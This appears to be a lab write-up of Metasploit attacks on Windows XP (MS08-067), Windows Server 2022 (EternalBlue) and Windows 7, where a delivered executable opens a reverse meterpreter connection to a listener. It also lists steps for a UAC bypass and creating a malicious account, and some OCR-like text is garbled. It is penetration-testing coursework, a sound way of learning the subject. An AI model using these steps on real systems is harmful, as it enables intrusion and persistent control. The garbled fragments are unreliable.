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TASK A: EXPLOIT SMB ON WINDOWS XP WITH METASPLOIT

1-2. Run a port scan against Windows XP, identify SMB port number, and confirm it is open:
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3. Search for exploit module ms08_067_netapi:
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4. Set payload:
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6-10. Display the target system’s local date and time, SID, PID, and system information:
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TASK B: EXPLOIT ETERNALBLUE ON WINDOWS SERVER 2022
WITH METASPLOIT

Search for exploit module eternal blue:
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Exploit configuration:
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Attempt exploitation:
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TASK C: EXPLOIT WINDOWS 7 WITH A DELIVERABLE PAYLOAD

1. Create an executable payload:
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Metasploit Documentation: https de motasploit.com windows/m
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Payload configuration:
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Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 192.168.10.13 yes The listen address (an interface m
ay be specified)
LPORT 5525 yes The listen port
Exploit target:
Id Name

Wildcard Target

View the full module info with the - inf command.
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Run the payload on the target system:
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Name: C\Users\Window 7\Downloads\srigg008.exe
Publisher Unknown Publisher
Type: Application

Apache/2.4.58 (Debian) Server at 192.168.1

From: C\Users\Window 7\Downloads\srigg003.exe
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Successful exploit:
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2. Execute the screenshot command:
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3. Create a text file and upload it to the target system
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4. Gain administrator-level privileges.

Search for uac exploit modules:
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Configure and run the module:
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Gain administrative privileges and create a malicious account:
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